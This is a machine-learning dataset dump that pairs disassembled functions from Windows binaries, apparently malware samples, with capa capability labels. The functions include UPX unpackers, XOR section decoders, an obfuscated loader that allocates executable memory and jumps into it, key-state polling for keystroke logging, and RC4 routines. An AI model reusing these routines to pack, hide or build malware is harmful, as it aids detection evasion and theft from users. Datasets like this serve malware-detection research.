joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e2bf
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x417d70]
je 0x40e2da
inc edi
cmp edi, 0x17
jb 0x40e2cb
cmp edi, 0x17
jae 0x40e45a
push ebp
push 3
call fcn.00411dd0
cmp eax, 1
pop ecx
je 0x40e426
push 3
call fcn.00411dd0
test eax, eax
pop ecx
jne 0x40e30e
cmp dword [0x417460], 1
je 0x40e426
cmp ebx, 0xfc
je 0x40e459
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x424038
push ebp
call fcn.00409197
add esp, 0xc
test eax, eax
je 0x40e344
push esi
push esi
push esi
push esi
push esi
call fcn.0040a429
add esp, 0x14
push 0x104
mov esi, 0x424051
push esi
push 0
mov byte [0x424155], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40e388
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.00409197
add esp, 0xc
test eax, eax
je 0x40e388
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.0040a429
add esp, 0x14
push esi
call fcn.004090f0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x40e3cd
push esi
call fcn.004090f0
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x42434c
push 0x413c64
sub ecx, eax
push ecx
push eax
call fcn.00409747
add esp, 0x14
test eax, eax
je 0x40e3cd
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.0040a429
add esp, 0x14
jmp 0x40e3cf
xor esi, esi
push 0x413c60
push ebx
push ebp
call fcn.00408c5b
add esp, 0xc
test eax, eax
je 0x40e3ef
push esi
push esi
push esi
push esi
push esi
call fcn.0040a429
add esp, 0x14
push dword [edi*8 + 0x417d74]
push ebx
push ebp
call fcn.00408c5b
add esp, 0xc
test eax, eax
je 0x40e411
push esi
push esi
push esi
push esi
push esi
call fcn.0040a429
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.00411c13
add esp, 0xc
jmp 0x40e459
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x40e459
cmp ebp, 0xffffffff
je 0x40e459
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x417d74]
push dword [esi]
call fcn.004090f0
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x411c13
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0040b339
xor ebx, ebx
cmp dword [0x424568], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x411ce9
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x411dc9
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x414704
push edi
call esi
cmp eax, ebx
je 0x411dc9
push eax
call fcn.0040b2cb
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x424568], eax
call esi
push eax
call fcn.0040b2cb
mov dword [esp], 0x4146e0
push edi
mov dword [0x42456c], eax
call esi
push eax
call fcn.0040b2cb
mov dword [0x424570], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040cfe0
test eax, eax
pop ecx
pop ecx
je 0x411cb7
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040a429
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x411ce9
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0040b2cb
cmp eax, ebx
pop ecx
mov dword [0x424578], eax
je 0x411ce9
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040b2cb
pop ecx
mov dword [0x424574], eax
mov eax, dword [0x424574]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x411d6e
cmp dword [0x424578], ecx
je 0x411d6e
push eax
call fcn.0040b342
push dword [0x424578]
mov esi, eax
call fcn.0040b342
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x411d6e
cmp edi, ebx
je 0x411d6e
call esi
cmp eax, ebx
je 0x411d3b
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x411d3b
test byte [ebp - 0x18], 1
jne 0x411d6e
lea eax, [ebp - 0x10]
push eax
call fcn.0040d017
test eax, eax
pop ecx
je 0x411d56
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040a429
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x411d65
or dword [ebp + 0x10], 0x200000
jmp 0x411da9
or dword [ebp + 0x10], 0x40000
jmp 0x411da9
mov eax, dword [0x42456c]
cmp eax, dword [ebp - 8]
je 0x411da9
push eax
call fcn.0040b342
cmp eax, ebx
pop ecx
je 0x411da9
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x411da9
mov eax, dword [0x424570]
cmp eax, dword [ebp - 8]
je 0x411da9
push eax
call fcn.0040b342
cmp eax, ebx
pop ecx
je 0x411da9
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x424568]
call fcn.0040b342
cmp eax, ebx
pop ecx
je 0x411dc9
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x411dcb
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x411ed0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xd000]
push edi
jmp 0x411eea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x411ef1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x411ee0
mov eax, 1
add ebx, ebx
jne 0x411f03
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x411ef8
jne 0x411f14
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x411ef8
xor ecx, ecx
sub eax, 3
jb 0x411f28
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x411f9a
mov ebp, eax
add ebx, ebx
jne 0x411f33
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x411f40
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x411f64
inc ecx
add ebx, ebx
jne 0x411f50
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x411f45
jne 0x411f61
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x411f45
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x411f84
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x411f75
jmp 0x411ee6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x411f84
add edi, ecx
jmp 0x411ee6
pop esi
lea edi, [esi + 0xf000]
mov eax, dword [edi]
or eax, eax
je 0x411fec
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x14330]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x143ec]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x411fa1
mov ecx, edi
jns 0x411fd0
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x143f4]
or eax, eax
je 0x411fe6
mov dword [ebx], eax
add ebx, 4
jmp 0x411fbe
call dword [esi + 0x143f0]
mov ebp, dword [esi + 0x143f8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x412020
sub esp, 0xffffff80
jmp 0x403956

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x3c393c38
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x7fd97047
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x1000e815
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x1000e824
pop dword [ebp - 0x18]
mov eax, 0xf8d5ebea
sub eax, 0xe8d503c6
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x7f4b823b
add dword [ebp - 0x28], 0xcf06c310
mov dword [ebp - 0x24], 0x804ab5d
add dword [ebp - 0x24], 0x2a2ea0e8
mov dword [ebp - 0x20], 0xfe917568
add dword [ebp - 0x20], 0x4dbacec6
mov dword [ebp - 0x1c], 0x49cb4a9e
sub dword [ebp - 0x1c], 0x49cb4a9e
lea eax, [ebp - 0x28]
push eax
mov eax, 0x3cada520
sub eax, 0x2cad9488
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xdc74f373
add dword [ebp - 0x28], 0x97fd75e3
mov dword [ebp - 0x24], 0x9687ffb1
sub dword [ebp - 0x24], 0x551b9e3c
mov dword [ebp - 0x20], 0xc7be646d
sub dword [ebp - 0x20], 0x644ef801
mov dword [ebp - 0x1c], 0xb731bc60
add dword [ebp - 0x1c], 0x48ce43a0
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x7708352
add eax, 0x88f8d92
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3fa01
push 0
call eax
mov ecx, 0x9d07f27d
add ecx, 0x62f861c9
mov ebx, eax
mov esi, 0x7844612f
sub esi, 0x683d272f
add esi, dword [ebp - 0x18]
mov edi, 0xc36dc404
add edi, 0xe49621ef
sub dword [ebp - 0x10], ecx
mov edx, dword [esi]
add dword [ebp - 0x14], ebx
add edx, edi
xor dword [ebp - 0x10], 0x7bd24453
mov dword [ebx], edx
sub dword [ebp - 4], ecx
add ebx, 0x8574b3ba
add ebx, 0x7a8b4c4a
add esi, 0xd60655ce
add esi, 0x29f9aa36
loop 0x1000e946
add eax, 0xe53ecf15
add eax, 0x1ac274d6
xor ebx, ebx
add ebx, eax
add eax, 0x9439e25f
sub eax, 0x9439e25a
mov ecx, 0x56bab6c
sub ecx, 0xf56bab6c
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x401637
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x402750
call fcn.00401c80
push 1
call fcn.00401377
pop ecx
test al, al
je 0x401793
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.00401345
mov byte [ebp - 0x24], al
mov eax, dword [0x4030a8]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x401793
test eax, eax
jne 0x4016c1
mov dword [0x4030a8], ecx
push 0x402128
push 0x40211c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x4016a4
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x40178d
push 0x402118
push 0x40210c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x4030a8], 2
jmp 0x4016c6
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.004014e4
pop ecx
call fcn.00401e03
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x4016f7
push esi
call fcn.0040145a
pop ecx
test al, al
je 0x4016f7
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call dword [0x402108]
call esi
call fcn.00401e09
mov esi, eax
cmp dword [esi], edi
je 0x401715
push esi
call fcn.0040145a
pop ecx
test al, al
je 0x401715
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
call fcn.00401baa
movzx eax, ax
push eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_narrow_winmain_command_line
push eax
push edi
push 0x400000
call main
mov esi, eax
call fcn.00401be0
test al, al
je 0x40179a
test bl, bl
jne 0x401743
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push edi
push 1
call fcn.00401501
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x40178d
call fcn.00401cc6
ret
push 7
call fcn.00401a8e
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
push dword [ebp - 0x20]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__exit
int3
call fcn.00529000
jmp 0x401637
Function at 0x41cee0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1a000]
push edi
or ebp, 0xffffffff
jmp 0x41cf02
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41cf09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41cef8
mov eax, 1
add ebx, ebx
jne 0x41cf1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41cf10
jne 0x41cf2c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41cf10
xor ecx, ecx
sub eax, 3
jb 0x41cf40
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41cfb2
mov ebp, eax
add ebx, ebx
jne 0x41cf4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41cf58
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41cf7c
inc ecx
add ebx, ebx
jne 0x41cf68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41cf5d
jne 0x41cf79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41cf5d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41cf9c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41cf8d
jmp 0x41cefe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41cf9c
add edi, ecx
jmp 0x41cefe
pop esi
mov edi, esi
mov ecx, 0x157
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41cfba
cmp byte [edi], 0
jne 0x41cfba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x41cfbf
lea edi, [esi + 0x1a000]
mov eax, dword [edi]
or eax, eax
je 0x41d02e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1d0b0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1d100]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41cfec
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1d104]
or eax, eax
je 0x41d028
mov dword [ebx], eax
add ebx, 4
jmp 0x41d009
call dword [esi + 0x1d108]
popal
jmp 0x403ab4

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x44acc0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4e4c4b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004d7436
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x44ad42
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004d4cb3
mov eax, dword [eax]
push 0xd2ed10
push eax
call fcn.004c6904
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004d76c1
test bl, bl
je 0x44ad42
push 0xd2ed10
lea ecx, [esp + 0xc]
call fcn.004d7a9d
push 0xd2ed1c
lea ecx, [esp + 0xc]
call fcn.004d7a9d
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x44ad7e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004d76c1
jmp 0x44ae49
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x44ae02
lea edx, [esp + 0x7c]
push 0xd2ed18
push edx
call fcn.004c6904
add esp, 8
test eax, eax
je 0x44ae02
lea eax, [esp + 0x7c]
push 0xd2ed14
push eax
call fcn.004c6904
add esp, 8
test eax, eax
je 0x44ae02
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x44ad92
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004d76c1
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x44b650
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x44b6b2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x44b6c0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4e4ccb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0xd3ede8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x44b7f8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x44b726
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004d76c1
xor eax, eax
jmp 0x44b86f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004d784a
push esi
lea ecx, [esp + 0xc]
call fcn.004d7ad9
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0xd2ed50
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x44b84d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0044b650
test eax, eax
jne 0x44b84d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0044b650
test eax, eax
jne 0x44b84d
lea eax, [esp + 0x14]
push 0xd2ed2c
push eax
call fcn.004c7af0
mov esi, eax
add esp, 8
test esi, esi
jne 0x44b82c
lea ecx, [esp + 0x14]
push 0xd2ed28
push ecx
call fcn.004c7a70
mov esi, eax
add esp, 8
test esi, esi
jne 0x44b82c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x44b82f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004d77fa
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x44b73e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004d76c1
xor eax, eax
jmp 0x44b86f
mov byte [esi], 0
push 0xd2ed24
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004d76c1
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x45d480
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x45d4ee
cmp si, 0x69
ja 0x45d4ee
add esi, 0xffd0
cmp si, 0x11
je 0x45d4be
push 0x11
call edi
test ax, ax
jge 0x45d4be
or esi, 0x2000
cmp si, 0x10
je 0x45d4d3
push 0x10
call edi
test ax, ax
jge 0x45d4d3
or esi, 0x4000
cmp si, 0x12
je 0x45d4e8
push 0x12
call edi
test ax, ax
jge 0x45d4e8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x45d4fb
mov esi, 0xbd
jmp 0x45d4af
cmp si, 0x6e
jne 0x45d508
mov esi, 0xbe
jmp 0x45d4af
cmp si, 0x6f
jne 0x45d4a9
mov esi, 0xbf
jmp 0x45d4af

Function at 0x45f0d0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0xd4fd08]
xor edx, edx
cmp eax, edx
jne 0x45f0f6
xor eax, eax
mov byte [eax + 0xd4fc08], al
inc eax
cmp eax, 0x100
jl 0x45f0de
mov dword [0xd4fd08], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0xd4fc08
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x45f187
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x45f15a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x45f128
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x45f190
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x45f1e3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x45f1ca
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret